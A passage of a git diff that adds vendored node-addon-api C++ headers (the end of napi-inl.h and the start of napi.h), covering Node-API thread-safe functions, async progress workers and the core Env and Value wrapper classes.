maxQueueSize, + initialThreadCount, + context, + finalizeCallback); +} + +// static +template +inline ThreadSafeFunction ThreadSafeFunction::New(napi_env env, + const Function& callback, + ResourceString resourceName, + size_t maxQueueSize, + size_t initialThreadCount, + ContextType* context, + Finalizer finalizeCallback, + FinalizerDataType* data) { + return New(env, + callback, + Object(), + resourceName, + maxQueueSize, + initialThreadCount, + context, + finalizeCallback, + data); +} + +// static +template +inline ThreadSafeFunction ThreadSafeFunction::New(napi_env env, + const Function& callback, + const Object& resource, + ResourceString resourceName, + size_t maxQueueSize, + size_t initialThreadCount) { + return New(env, + callback, + resource, + resourceName, + maxQueueSize, + initialThreadCount, + static_cast(nullptr) /* context */); +} + +// static +template +inline ThreadSafeFunction ThreadSafeFunction::New(napi_env env, + const Function& callback, + const Object& resource, + ResourceString resourceName, + size_t maxQueueSize, + size_t initialThreadCount, + ContextType* context) { + return New(env, + callback, + resource, + resourceName, + maxQueueSize, + initialThreadCount, + context, + [](Env, ContextType*) {} /* empty finalizer */); +} + +// static +template +inline ThreadSafeFunction ThreadSafeFunction::New(napi_env env, + const Function& callback, + const Object& resource, + ResourceString resourceName, + size_t maxQueueSize, + size_t initialThreadCount, + Finalizer finalizeCallback) { + return New(env, + callback, + resource, + resourceName, + maxQueueSize, + initialThreadCount, + static_cast(nullptr) /* context */, + finalizeCallback, + static_cast(nullptr) /* data */, + details::ThreadSafeFinalize::Wrapper); +} + +// static +template +inline ThreadSafeFunction ThreadSafeFunction::New(napi_env env, + const Function& callback, + const Object& resource, + ResourceString resourceName, + size_t maxQueueSize, + size_t initialThreadCount, + Finalizer finalizeCallback, + FinalizerDataType* data) { + return New(env, + callback, + resource, + resourceName, + maxQueueSize, + initialThreadCount, + static_cast(nullptr) /* context */, + finalizeCallback, + data, + details::ThreadSafeFinalize:: + FinalizeWrapperWithData); +} + +// static +template +inline ThreadSafeFunction ThreadSafeFunction::New(napi_env env, + const Function& callback, + const Object& resource, + ResourceString resourceName, + size_t maxQueueSize, + size_t initialThreadCount, + ContextType* context, + Finalizer finalizeCallback) { + return New( + env, + callback, + resource, + resourceName, + maxQueueSize, + initialThreadCount, + context, + finalizeCallback, + static_cast(nullptr) /* data */, + details::ThreadSafeFinalize::FinalizeWrapperWithContext); +} + +// static +template +inline ThreadSafeFunction ThreadSafeFunction::New(napi_env env, + const Function& callback, + const Object& resource, + ResourceString resourceName, + size_t maxQueueSize, + size_t initialThreadCount, + ContextType* context, + Finalizer finalizeCallback, + FinalizerDataType* data) { + return New( + env, + callback, + resource, + resourceName, + maxQueueSize, + initialThreadCount, + context, + finalizeCallback, + data, + details::ThreadSafeFinalize:: + FinalizeFinalizeWrapperWithDataAndContext); +} + +inline ThreadSafeFunction::ThreadSafeFunction() : _tsfn() {} + +inline ThreadSafeFunction::ThreadSafeFunction(napi_threadsafe_function tsfn) + : _tsfn(tsfn) {} + +inline ThreadSafeFunction::operator napi_threadsafe_function() const { + return _tsfn; +} + +inline napi_status ThreadSafeFunction::BlockingCall() const { + return CallInternal(nullptr, napi_tsfn_blocking); +} + +template <> +inline napi_status ThreadSafeFunction::BlockingCall(void* data) const { + return napi_call_threadsafe_function(_tsfn, data, napi_tsfn_blocking); +} + +template +inline napi_status ThreadSafeFunction::BlockingCall(Callback callback) const { + return CallInternal(new CallbackWrapper(callback), napi_tsfn_blocking); +} + +template +inline napi_status ThreadSafeFunction::BlockingCall(DataType* data, + Callback callback) const { + auto wrapper = [data, callback](Env env, Function jsCallback) { + callback(env, jsCallback, data); + }; + return CallInternal(new CallbackWrapper(wrapper), napi_tsfn_blocking); +} + +inline napi_status ThreadSafeFunction::NonBlockingCall() const { + return CallInternal(nullptr, napi_tsfn_nonblocking); +} + +template <> +inline napi_status ThreadSafeFunction::NonBlockingCall(void* data) const { + return napi_call_threadsafe_function(_tsfn, data, napi_tsfn_nonblocking); +} + +template +inline napi_status ThreadSafeFunction::NonBlockingCall( + Callback callback) const { + return CallInternal(new CallbackWrapper(callback), napi_tsfn_nonblocking); +} + +template +inline napi_status ThreadSafeFunction::NonBlockingCall( + DataType* data, Callback callback) const { + auto wrapper = [data, callback](Env env, Function jsCallback) { + callback(env, jsCallback, data); + }; + return CallInternal(new CallbackWrapper(wrapper), napi_tsfn_nonblocking); +} + +inline void ThreadSafeFunction::Ref(napi_env env) const { + if (_tsfn != nullptr) { + napi_status status = napi_ref_threadsafe_function(env, _tsfn); + NAPI_THROW_IF_FAILED_VOID(env, status); + } +} + +inline void ThreadSafeFunction::Unref(napi_env env) const { + if (_tsfn != nullptr) { + napi_status status = napi_unref_threadsafe_function(env, _tsfn); + NAPI_THROW_IF_FAILED_VOID(env, status); + } +} + +inline napi_status ThreadSafeFunction::Acquire() const { + return napi_acquire_threadsafe_function(_tsfn); +} + +inline napi_status ThreadSafeFunction::Release() const { + return napi_release_threadsafe_function(_tsfn, napi_tsfn_release); +} + +inline napi_status ThreadSafeFunction::Abort() const { + return napi_release_threadsafe_function(_tsfn, napi_tsfn_abort); +} + +inline ThreadSafeFunction::ConvertibleContext ThreadSafeFunction::GetContext() + const { + void* context; + napi_status status = napi_get_threadsafe_function_context(_tsfn, &context); + NAPI_FATAL_IF_FAILED(status, + "ThreadSafeFunction::GetContext", + "napi_get_threadsafe_function_context"); + return ConvertibleContext({context}); +} + +// static +template +inline ThreadSafeFunction ThreadSafeFunction::New(napi_env env, + const Function& callback, + const Object& resource, + ResourceString resourceName, + size_t maxQueueSize, + size_t initialThreadCount, + ContextType* context, + Finalizer finalizeCallback, + FinalizerDataType* data, + napi_finalize wrapper) { + static_assert(details::can_make_string::value || + std::is_convertible::value, + "Resource name should be convertible to the string type"); + + ThreadSafeFunction tsfn; + auto* finalizeData = new details:: + ThreadSafeFinalize( + {data, finalizeCallback}); + napi_status status = + napi_create_threadsafe_function(env, + callback, + resource, + Value::From(env, resourceName), + maxQueueSize, + initialThreadCount, + finalizeData, + wrapper, + context, + CallJS, + &tsfn._tsfn); + if (status != napi_ok) { + delete finalizeData; + NAPI_THROW_IF_FAILED(env, status, ThreadSafeFunction()); + } + + return tsfn; +} + +inline napi_status ThreadSafeFunction::CallInternal( + CallbackWrapper* callbackWrapper, + napi_threadsafe_function_call_mode mode) const { + napi_status status = + napi_call_threadsafe_function(_tsfn, callbackWrapper, mode); + if (status != napi_ok && callbackWrapper != nullptr) { + delete callbackWrapper; + } + + return status; +} + +// static +inline void ThreadSafeFunction::CallJS(napi_env env, + napi_value jsCallback, + void* /* context */, + void* data) { + if (env == nullptr && jsCallback == nullptr) { + return; + } + + if (data != nullptr) { + auto* callbackWrapper = static_cast(data); + (*callbackWrapper)(env, Function(env, jsCallback)); + delete callbackWrapper; + } else if (jsCallback != nullptr) { + Function(env, jsCallback).Call({}); + } +} + +//////////////////////////////////////////////////////////////////////////////// +// Async Progress Worker Base class +//////////////////////////////////////////////////////////////////////////////// +template +inline AsyncProgressWorkerBase::AsyncProgressWorkerBase( + const Object& receiver, + const Function& callback, + const char* resource_name, + const Object& resource, + size_t queue_size) + : AsyncWorker(receiver, callback, resource_name, resource) { + // Fill all possible arguments to work around ambiguous + // ThreadSafeFunction::New signatures. + _tsfn = ThreadSafeFunction::New(callback.Env(), + callback, + resource, + resource_name, + queue_size, + /** initialThreadCount */ 1, + /** context */ this, + OnThreadSafeFunctionFinalize, + /** finalizeData */ this); +} + +#if NAPI_VERSION > 4 +template +inline AsyncProgressWorkerBase::AsyncProgressWorkerBase( + Napi::Env env, + const char* resource_name, + const Object& resource, + size_t queue_size) + : AsyncWorker(env, resource_name, resource) { + // TODO: Once the changes to make the callback optional for threadsafe + // functions are available on all versions we can remove the dummy Function + // here. + Function callback; + // Fill all possible arguments to work around ambiguous + // ThreadSafeFunction::New signatures. + _tsfn = ThreadSafeFunction::New(env, + callback, + resource, + resource_name, + queue_size, + /** initialThreadCount */ 1, + /** context */ this, + OnThreadSafeFunctionFinalize, + /** finalizeData */ this); +} +#endif + +template +inline AsyncProgressWorkerBase::~AsyncProgressWorkerBase() { + // Abort pending tsfn call. + // Don't send progress events after we've already completed. + // It's ok to call ThreadSafeFunction::Abort and ThreadSafeFunction::Release + // duplicated. + _tsfn.Abort(); +} + +template +inline void AsyncProgressWorkerBase::OnAsyncWorkProgress( + Napi::Env /* env */, Napi::Function /* jsCallback */, void* data) { + ThreadSafeData* tsd = static_cast(data); + tsd->asyncprogressworker()->OnWorkProgress(tsd->data()); + delete tsd; +} + +template +inline napi_status AsyncProgressWorkerBase::NonBlockingCall( + DataType* data) { + auto tsd = new AsyncProgressWorkerBase::ThreadSafeData(this, data); + auto ret = _tsfn.NonBlockingCall(tsd, OnAsyncWorkProgress); + if (ret != napi_ok) { + delete tsd; + } + return ret; +} + +template +inline void AsyncProgressWorkerBase::OnWorkComplete( + Napi::Env /* env */, napi_status status) { + _work_completed = true; + _complete_status = status; + _tsfn.Release(); +} + +template +inline void AsyncProgressWorkerBase::OnThreadSafeFunctionFinalize( + Napi::Env env, void* /* data */, AsyncProgressWorkerBase* context) { + if (context->_work_completed) { + context->AsyncWorker::OnWorkComplete(env, context->_complete_status); + } +} + +//////////////////////////////////////////////////////////////////////////////// +// Async Progress Worker class +//////////////////////////////////////////////////////////////////////////////// +template +inline AsyncProgressWorker::AsyncProgressWorker(const Function& callback) + : AsyncProgressWorker(callback, "generic") {} + +template +inline AsyncProgressWorker::AsyncProgressWorker(const Function& callback, + const char* resource_name) + : AsyncProgressWorker( + callback, resource_name, Object::New(callback.Env())) {} + +template +inline AsyncProgressWorker::AsyncProgressWorker(const Function& callback, + const char* resource_name, + const Object& resource) + : AsyncProgressWorker( + Object::New(callback.Env()), callback, resource_name, resource) {} + +template +inline AsyncProgressWorker::AsyncProgressWorker(const Object& receiver, + const Function& callback) + : AsyncProgressWorker(receiver, callback, "generic") {} + +template +inline AsyncProgressWorker::AsyncProgressWorker(const Object& receiver, + const Function& callback, + const char* resource_name) + : AsyncProgressWorker( + receiver, callback, resource_name, Object::New(callback.Env())) {} + +template +inline AsyncProgressWorker::AsyncProgressWorker(const Object& receiver, + const Function& callback, + const char* resource_name, + const Object& resource) + : AsyncProgressWorkerBase(receiver, callback, resource_name, resource), + _asyncdata(nullptr), + _asyncsize(0), + _signaled(false) {} + +#if NAPI_VERSION > 4 +template +inline AsyncProgressWorker::AsyncProgressWorker(Napi::Env env) + : AsyncProgressWorker(env, "generic") {} + +template +inline AsyncProgressWorker::AsyncProgressWorker(Napi::Env env, + const char* resource_name) + : AsyncProgressWorker(env, resource_name, Object::New(env)) {} + +template +inline AsyncProgressWorker::AsyncProgressWorker(Napi::Env env, + const char* resource_name, + const Object& resource) + : AsyncProgressWorkerBase(env, resource_name, resource), + _asyncdata(nullptr), + _asyncsize(0) {} +#endif + +template +inline AsyncProgressWorker::~AsyncProgressWorker() { + { + std::lock_guard lock(this->_mutex); + _asyncdata = nullptr; + _asyncsize = 0; + } +} + +template +inline void AsyncProgressWorker::Execute() { + ExecutionProgress progress(this); + Execute(progress); +} + +template +inline void AsyncProgressWorker::OnWorkProgress(void*) { + T* data; + size_t size; + bool signaled; + { + std::lock_guard lock(this->_mutex); + data = this->_asyncdata; + size = this->_asyncsize; + signaled = this->_signaled; + this->_asyncdata = nullptr; + this->_asyncsize = 0; + this->_signaled = false; + } + + /** + * The callback of ThreadSafeFunction is not been invoked immediately on the + * callback of uv_async_t (uv io poll), rather the callback of TSFN is + * invoked on the right next uv idle callback. There are chances that during + * the deferring the signal of uv_async_t is been sent again, i.e. potential + * not coalesced two calls of the TSFN callback. + */ + if (data == nullptr && !signaled) { + return; + } + + this->OnProgress(data, size); + delete[] data; +} + +template +inline void AsyncProgressWorker::SendProgress_(const T* data, size_t count) { + T* new_data = new T[count]; + std::copy(data, data + count, new_data); + + T* old_data; + { + std::lock_guard lock(this->_mutex); + old_data = _asyncdata; + _asyncdata = new_data; + _asyncsize = count; + _signaled = false; + } + this->NonBlockingCall(nullptr); + + delete[] old_data; +} + +template +inline void AsyncProgressWorker::Signal() { + { + std::lock_guard lock(this->_mutex); + _signaled = true; + } + this->NonBlockingCall(static_cast(nullptr)); +} + +template +inline void AsyncProgressWorker::ExecutionProgress::Signal() const { + this->_worker->Signal(); +} + +template +inline void AsyncProgressWorker::ExecutionProgress::Send( + const T* data, size_t count) const { + _worker->SendProgress_(data, count); +} + +//////////////////////////////////////////////////////////////////////////////// +// Async Progress Queue Worker class +//////////////////////////////////////////////////////////////////////////////// +template +inline AsyncProgressQueueWorker::AsyncProgressQueueWorker( + const Function& callback) + : AsyncProgressQueueWorker(callback, "generic") {} + +template +inline AsyncProgressQueueWorker::AsyncProgressQueueWorker( + const Function& callback, const char* resource_name) + : AsyncProgressQueueWorker( + callback, resource_name, Object::New(callback.Env())) {} + +template +inline AsyncProgressQueueWorker::AsyncProgressQueueWorker( + const Function& callback, const char* resource_name, const Object& resource) + : AsyncProgressQueueWorker( + Object::New(callback.Env()), callback, resource_name, resource) {} + +template +inline AsyncProgressQueueWorker::AsyncProgressQueueWorker( + const Object& receiver, const Function& callback) + : AsyncProgressQueueWorker(receiver, callback, "generic") {} + +template +inline AsyncProgressQueueWorker::AsyncProgressQueueWorker( + const Object& receiver, const Function& callback, const char* resource_name) + : AsyncProgressQueueWorker( + receiver, callback, resource_name, Object::New(callback.Env())) {} + +template +inline AsyncProgressQueueWorker::AsyncProgressQueueWorker( + const Object& receiver, + const Function& callback, + const char* resource_name, + const Object& resource) + : AsyncProgressWorkerBase>( + receiver, + callback, + resource_name, + resource, + /** unlimited queue size */ 0) {} + +#if NAPI_VERSION > 4 +template +inline AsyncProgressQueueWorker::AsyncProgressQueueWorker(Napi::Env env) + : AsyncProgressQueueWorker(env, "generic") {} + +template +inline AsyncProgressQueueWorker::AsyncProgressQueueWorker( + Napi::Env env, const char* resource_name) + : AsyncProgressQueueWorker(env, resource_name, Object::New(env)) {} + +template +inline AsyncProgressQueueWorker::AsyncProgressQueueWorker( + Napi::Env env, const char* resource_name, const Object& resource) + : AsyncProgressWorkerBase>( + env, resource_name, resource, /** unlimited queue size */ 0) {} +#endif + +template +inline void AsyncProgressQueueWorker::Execute() { + ExecutionProgress progress(this); + Execute(progress); +} + +template +inline void AsyncProgressQueueWorker::OnWorkProgress( + std::pair* datapair) { + if (datapair == nullptr) { + return; + } + + T* data = datapair->first; + size_t size = datapair->second; + + this->OnProgress(data, size); + delete datapair; + delete[] data; +} + +template +inline void AsyncProgressQueueWorker::SendProgress_(const T* data, + size_t count) { + T* new_data = new T[count]; + std::copy(data, data + count, new_data); + + auto pair = new std::pair(new_data, count); + this->NonBlockingCall(pair); +} + +template +inline void AsyncProgressQueueWorker::Signal() const { + this->SendProgress_(static_cast(nullptr), 0); +} + +template +inline void AsyncProgressQueueWorker::OnWorkComplete(Napi::Env env, + napi_status status) { + // Draining queued items in TSFN. + AsyncProgressWorkerBase>::OnWorkComplete(env, status); +} + +template +inline void AsyncProgressQueueWorker::ExecutionProgress::Signal() const { + _worker->SendProgress_(static_cast(nullptr), 0); +} + +template +inline void AsyncProgressQueueWorker::ExecutionProgress::Send( + const T* data, size_t count) const { + _worker->SendProgress_(data, count); +} +#endif // NAPI_VERSION > 3 && NAPI_HAS_THREADS + +//////////////////////////////////////////////////////////////////////////////// +// Memory Management class +//////////////////////////////////////////////////////////////////////////////// + +inline int64_t MemoryManagement::AdjustExternalMemory(Env env, + int64_t change_in_bytes) { + int64_t result; + napi_status status = + napi_adjust_external_memory(env, change_in_bytes, &result); + NAPI_THROW_IF_FAILED(env, status, 0); + return result; +} + +//////////////////////////////////////////////////////////////////////////////// +// Version Management class +//////////////////////////////////////////////////////////////////////////////// + +inline uint32_t VersionManagement::GetNapiVersion(Env env) { + uint32_t result; + napi_status status = napi_get_version(env, &result); + NAPI_THROW_IF_FAILED(env, status, 0); + return result; +} + +inline const napi_node_version* VersionManagement::GetNodeVersion(Env env) { + const napi_node_version* result; + napi_status status = napi_get_node_version(env, &result); + NAPI_THROW_IF_FAILED(env, status, 0); + return result; +} + +#if NAPI_VERSION > 5 +//////////////////////////////////////////////////////////////////////////////// +// Addon class +//////////////////////////////////////////////////////////////////////////////// + +template +inline Object Addon::Init(Env env, Object exports) { + T* addon = new T(env, exports); + env.SetInstanceData(addon); + return addon->entry_point_; +} + +template +inline T* Addon::Unwrap(Object wrapper) { + return wrapper.Env().GetInstanceData(); +} + +template +inline void Addon::DefineAddon( + Object exports, const std::initializer_list& props) { + DefineProperties(exports, props); + entry_point_ = exports; +} + +template +inline Napi::Object Addon::DefineProperties( + Object object, const std::initializer_list& props) { + const napi_property_descriptor* properties = + reinterpret_cast(props.begin()); + size_t size = props.size(); + napi_status status = + napi_define_properties(object.Env(), object, size, properties); + NAPI_THROW_IF_FAILED(object.Env(), status, object); + for (size_t idx = 0; idx < size; idx++) + T::AttachPropData(object.Env(), object, &properties[idx]); + return object; +} +#endif // NAPI_VERSION > 5 + +#if NAPI_VERSION > 2 +template +Env::CleanupHook Env::AddCleanupHook(Hook hook, Arg* arg) { + return CleanupHook(*this, hook, arg); +} + +template +Env::CleanupHook Env::AddCleanupHook(Hook hook) { + return CleanupHook(*this, hook); +} + +template +Env::CleanupHook::CleanupHook() { + data = nullptr; +} + +template +Env::CleanupHook::CleanupHook(Napi::Env env, Hook hook) + : wrapper(Env::CleanupHook::Wrapper) { + data = new CleanupData{std::move(hook), nullptr}; + napi_status status = napi_add_env_cleanup_hook(env, wrapper, data); + if (status != napi_ok) { + delete data; + data = nullptr; + } +} + +template +Env::CleanupHook::CleanupHook(Napi::Env env, Hook hook, Arg* arg) + : wrapper(Env::CleanupHook::WrapperWithArg) { + data = new CleanupData{std::move(hook), arg}; + napi_status status = napi_add_env_cleanup_hook(env, wrapper, data); + if (status != napi_ok) { + delete data; + data = nullptr; + } +} + +template +bool Env::CleanupHook::Remove(Env env) { + napi_status status = napi_remove_env_cleanup_hook(env, wrapper, data); + delete data; + data = nullptr; + return status == napi_ok; +} + +template +bool Env::CleanupHook::IsEmpty() const { + return data == nullptr; +} +#endif // NAPI_VERSION > 2 + +#ifdef NAPI_CPP_CUSTOM_NAMESPACE +} // namespace NAPI_CPP_CUSTOM_NAMESPACE +#endif + +} // namespace Napi + +#endif // SRC_NAPI_INL_H_ diff --git a/env_xbb_lastest_jsdom/node_modules/node-addon-api/napi.h b/env_xbb_lastest_jsdom/node_modules/node-addon-api/napi.h new file mode 100644 index 00000000..f3119d7d --- /dev/null +++ b/env_xbb_lastest_jsdom/node_modules/node-addon-api/napi.h @@ -0,0 +1,3191 @@ +#ifndef SRC_NAPI_H_ +#define SRC_NAPI_H_ + +#ifndef NAPI_HAS_THREADS +#if !defined(__wasm__) || (defined(__EMSCRIPTEN_PTHREADS__) || \ + (defined(__wasi__) && defined(_REENTRANT))) +#define NAPI_HAS_THREADS 1 +#else +#define NAPI_HAS_THREADS 0 +#endif +#endif + +#include +#include +#include +#include +#if NAPI_HAS_THREADS +#include +#endif // NAPI_HAS_THREADS +#include +#include + +// VS2015 RTM has bugs with constexpr, so require min of VS2015 Update 3 (known +// good version) +#if !defined(_MSC_VER) || _MSC_FULL_VER >= 190024210 +#define NAPI_HAS_CONSTEXPR 1 +#endif + +// VS2013 does not support char16_t literal strings, so we'll work around it +// using wchar_t strings and casting them. This is safe as long as the character +// sizes are the same. +#if defined(_MSC_VER) && _MSC_VER <= 1800 +static_assert(sizeof(char16_t) == sizeof(wchar_t), + "Size mismatch between char16_t and wchar_t"); +#define NAPI_WIDE_TEXT(x) reinterpret_cast(L##x) +#else +#define NAPI_WIDE_TEXT(x) u##x +#endif + +// If C++ exceptions are not explicitly enabled or disabled, enable them +// if exceptions were enabled in the compiler settings. +#if !defined(NAPI_CPP_EXCEPTIONS) && !defined(NAPI_DISABLE_CPP_EXCEPTIONS) +#if defined(_CPPUNWIND) || defined(__EXCEPTIONS) +#define NAPI_CPP_EXCEPTIONS +#else +#error Exception support not detected. \ + Define either NAPI_CPP_EXCEPTIONS or NAPI_DISABLE_CPP_EXCEPTIONS. +#endif +#endif + +// If C++ NAPI_CPP_EXCEPTIONS are enabled, NODE_ADDON_API_ENABLE_MAYBE should +// not be set +#if defined(NAPI_CPP_EXCEPTIONS) && defined(NODE_ADDON_API_ENABLE_MAYBE) +#error NODE_ADDON_API_ENABLE_MAYBE should not be set when \ + NAPI_CPP_EXCEPTIONS is defined. +#endif + +#ifdef _NOEXCEPT +#define NAPI_NOEXCEPT _NOEXCEPT +#else +#define NAPI_NOEXCEPT noexcept +#endif + +#ifdef NAPI_CPP_EXCEPTIONS + +// When C++ exceptions are enabled, Errors are thrown directly. There is no need +// to return anything after the throw statements. The variadic parameter is an +// optional return value that is ignored. +// We need _VOID versions of the macros to avoid warnings resulting from +// leaving the NAPI_THROW_* `...` argument empty. + +#define NAPI_THROW(e, ...) throw e +#define NAPI_THROW_VOID(e) throw e + +#define NAPI_THROW_IF_FAILED(env, status, ...) \ + if ((status) != napi_ok) throw Napi::Error::New(env); + +#define NAPI_THROW_IF_FAILED_VOID(env, status) \ + if ((status) != napi_ok) throw Napi::Error::New(env); + +#else // NAPI_CPP_EXCEPTIONS + +// When C++ exceptions are disabled, Errors are thrown as JavaScript exceptions, +// which are pending until the callback returns to JS. The variadic parameter +// is an optional return value; usually it is an empty result. +// We need _VOID versions of the macros to avoid warnings resulting from +// leaving the NAPI_THROW_* `...` argument empty. + +#define NAPI_THROW(e, ...) \ + do { \ + (e).ThrowAsJavaScriptException(); \ + return __VA_ARGS__; \ + } while (0) + +#define NAPI_THROW_VOID(e) \ + do { \ + (e).ThrowAsJavaScriptException(); \ + return; \ + } while (0) + +#define NAPI_THROW_IF_FAILED(env, status, ...) \ + if ((status) != napi_ok) { \ + Napi::Error::New(env).ThrowAsJavaScriptException(); \ + return __VA_ARGS__; \ + } + +#define NAPI_THROW_IF_FAILED_VOID(env, status) \ + if ((status) != napi_ok) { \ + Napi::Error::New(env).ThrowAsJavaScriptException(); \ + return; \ + } + +#endif // NAPI_CPP_EXCEPTIONS + +#ifdef NODE_ADDON_API_ENABLE_MAYBE +#define NAPI_MAYBE_THROW_IF_FAILED(env, status, type) \ + NAPI_THROW_IF_FAILED(env, status, Napi::Nothing()) + +#define NAPI_RETURN_OR_THROW_IF_FAILED(env, status, result, type) \ + NAPI_MAYBE_THROW_IF_FAILED(env, status, type); \ + return Napi::Just(result); +#else +#define NAPI_MAYBE_THROW_IF_FAILED(env, status, type) \ + NAPI_THROW_IF_FAILED(env, status, type()) + +#define NAPI_RETURN_OR_THROW_IF_FAILED(env, status, result, type) \ + NAPI_MAYBE_THROW_IF_FAILED(env, status, type); \ + return result; +#endif + +#define NAPI_DISALLOW_ASSIGN(CLASS) void operator=(const CLASS&) = delete; +#define NAPI_DISALLOW_COPY(CLASS) CLASS(const CLASS&) = delete; + +#define NAPI_DISALLOW_ASSIGN_COPY(CLASS) \ + NAPI_DISALLOW_ASSIGN(CLASS) \ + NAPI_DISALLOW_COPY(CLASS) + +#define NAPI_CHECK(condition, location, message) \ + do { \ + if (!(condition)) { \ + Napi::Error::Fatal((location), (message)); \ + } \ + } while (0) + +#define NAPI_FATAL_IF_FAILED(status, location, message) \ + NAPI_CHECK((status) == napi_ok, location, message) + +//////////////////////////////////////////////////////////////////////////////// +/// Node-API C++ Wrapper Classes +/// +/// These classes wrap the "Node-API" ABI-stable C APIs for Node.js, providing a +/// C++ object model and C++ exception-handling semantics with low overhead. +/// The wrappers are all header-only so that they do not affect the ABI. +//////////////////////////////////////////////////////////////////////////////// +namespace Napi { + +#ifdef NAPI_CPP_CUSTOM_NAMESPACE +// NAPI_CPP_CUSTOM_NAMESPACE can be #define'd per-addon to avoid symbol +// conflicts between different instances of node-addon-api + +// First dummy definition of the namespace to make sure that Napi::(name) still +// refers to the right things inside this file. +namespace NAPI_CPP_CUSTOM_NAMESPACE {} +using namespace NAPI_CPP_CUSTOM_NAMESPACE; + +namespace NAPI_CPP_CUSTOM_NAMESPACE { +#endif + +// Forward declarations +class Env; +class Value; +class Boolean; +class Number; +#if NAPI_VERSION > 5 +class BigInt; +#endif // NAPI_VERSION > 5 +#if (NAPI_VERSION > 4) +class Date; +#endif +class String; +class Object; +class Array; +class ArrayBuffer; +class Function; +class Error; +class PropertyDescriptor; +class CallbackInfo; +class TypedArray; +template +class TypedArrayOf; + +using Int8Array = + TypedArrayOf; ///< Typed-array of signed 8-bit integers +using Uint8Array = + TypedArrayOf; ///< Typed-array of unsigned 8-bit integers +using Int16Array = + TypedArrayOf; ///< Typed-array of signed 16-bit integers +using Uint16Array = + TypedArrayOf; ///< Typed-array of unsigned 16-bit integers +using Int32Array = + TypedArrayOf; ///< Typed-array of signed 32-bit integers +using Uint32Array = + TypedArrayOf; ///< Typed-array of unsigned 32-bit integers +using Float32Array = + TypedArrayOf; ///< Typed-array of 32-bit floating-point values +using Float64Array = + TypedArrayOf; ///< Typed-array of 64-bit floating-point values +#if NAPI_VERSION > 5 +using BigInt64Array = + TypedArrayOf; ///< Typed array of signed 64-bit integers +using BigUint64Array = + TypedArrayOf; ///< Typed array of unsigned 64-bit integers +#endif // NAPI_VERSION > 5 + +/// Defines the signature of a Node-API C++ module's registration callback +/// (init) function. +using ModuleRegisterCallback = Object (*)(Env env, Object exports); + +class MemoryManagement; + +/// A simple Maybe type, representing an object which may or may not have a +/// value. +/// +/// If an API method returns a Maybe<>, the API method can potentially fail +/// either because an exception is thrown, or because an exception is pending, +/// e.g. because a previous API call threw an exception that hasn't been +/// caught yet. In that case, a "Nothing" value is returned. +template +class Maybe { + public: + bool IsNothing() const; + bool IsJust() const; + + /// Short-hand for Unwrap(), which doesn't return a value. Could be used + /// where the actual value of the Maybe is not needed like Object::Set. + /// If this Maybe is nothing (empty), node-addon-api will crash the + /// process. + void Check() const; + + /// Return the value of type T contained in the Maybe. If this Maybe is + /// nothing (empty), node-addon-api will crash the process. + T Unwrap() const; + + /// Return the value of type T contained in the Maybe, or using a default + /// value if this Maybe is nothing (empty). + T UnwrapOr(const T& default_value) const; + + /// Converts this Maybe to a value of type T in the out. If this Maybe is + /// nothing (empty), `false` is returned and `out` is left untouched. + bool UnwrapTo(T* out) const; + + bool operator==(const Maybe& other) const; + bool operator!=(const Maybe& other) const; + + private: + Maybe(); + explicit Maybe(const T& t); + + bool _has_value; + T _value; + + template + friend Maybe Nothing(); + template + friend Maybe Just(const U& u); +}; + +template +inline Maybe Nothing(); + +template +inline Maybe Just(const T& t); + +#if defined(NODE_ADDON_API_ENABLE_MAYBE) +template +using MaybeOrValue = Maybe; +#else +template +using MaybeOrValue = T; +#endif + +/// Environment for Node-API values and operations. +/// +/// All Node-API values and operations must be associated with an environment. +/// An environment instance is always provided to callback functions; that +/// environment must then be used for any creation of Node-API values or other +/// Node-API operations within the callback. (Many methods infer the +/// environment from the `this` instance that the method is called on.) +/// +/// In the future, multiple environments per process may be supported, +/// although current implementations only support one environment per process. +/// +/// In the V8 JavaScript engine, a Node-API environment approximately +/// corresponds to an Isolate. +class Env { + private: + napi_env _env; +#if NAPI_VERSION > 5 + template + static void DefaultFini(Env, T* data); + template + static void DefaultFiniWithHint(Env, DataType* data, HintType* hint); +#endif // NAPI_VERSION > 5 + public: + Env(napi_env env); + + operator napi_env() const; + + Object Global() const; + Value Undefined() const; + Value Null() const; + + bool IsExceptionPending() const; + Error GetAndClearPendingException() const; + + MaybeOrValue RunScript(const char* utf8script) const; + MaybeOrValue RunScript(const std::string& utf8script) const; + MaybeOrValue RunScript(String script) const; + +#if NAPI_VERSION > 2 + template + class CleanupHook; + + template + CleanupHook AddCleanupHook(Hook hook); + + template + CleanupHook AddCleanupHook(Hook hook, Arg* arg); +#endif // NAPI_VERSION > 2 + +#if NAPI_VERSION > 5 + template + T* GetInstanceData() const; + + template + using Finalizer = void (*)(Env, T*); + template fini = Env::DefaultFini> + void SetInstanceData(T* data) const; + + template + using FinalizerWithHint = void (*)(Env, DataType*, HintType*); + template fini = + Env::DefaultFiniWithHint> + void SetInstanceData(DataType* data, HintType* hint) const; +#endif // NAPI_VERSION > 5 + +#if NAPI_VERSION > 2 + template + class CleanupHook { + public: + CleanupHook(); + CleanupHook(Env env, Hook hook, Arg* arg); + CleanupHook(Env env, Hook hook); + bool Remove(Env env); + bool IsEmpty() const; + + private: + static inline void Wrapper(void* data) NAPI_NOEXCEPT; + static inline void WrapperWithArg(void* data) NAPI_NOEXCEPT; + + void (*wrapper)(void* arg); + struct CleanupData { + Hook hook; + Arg* arg; + } * data; + }; +#endif // NAPI_VERSION > 2 +}; + +/// A JavaScript value of unknown type. +/// +/// For type-specific operations, convert to one of the Value subclasses using a +/// `To*` or `As()` method. The `To*` methods do type coercion; the `As()` +/// method does not. +/// +/// Napi::Value value = ... +/// if (!value.IsString()) throw Napi::TypeError::New(env, "Invalid +/// arg..."); Napi::String str = value.As(); // Cast to a +/// string value +/// +/// Napi::Value anotherValue = ... +/// bool isTruthy = anotherValue.ToBoolean(); // Coerce to a boolean value +class Value { + public: + Value(); ///< Creates a new _empty_ Value instance. + Value(napi_env env, + napi_value value); ///< Wraps a Node-API value primitive. + + /// Creates a JS value from a C++ primitive. + /// + /// `value` may be any of: + /// - bool + /// - Any integer type + /// - Any floating point type + /// - const char* (encoded using UTF-8, null-terminated) + /// - const char16_t* (encoded using UTF-16-LE, null-terminated) + /// - std::string (encoded using UTF-8) + /// - std::u16string + /// - napi::Value + /// - napi_value + template + static Value From(napi_env env, const T& value); + + /// Converts to a Node-API value primitive. + /// + /// If the instance is _empty_, this returns `nullptr`. + operator napi_value() const; + + /// Tests if this value strictly equals another value. + bool operator==(const Value& other) const; + + /// Tests if this value does not strictly equal another value. + bool operator!=(const Value& other) const; + + 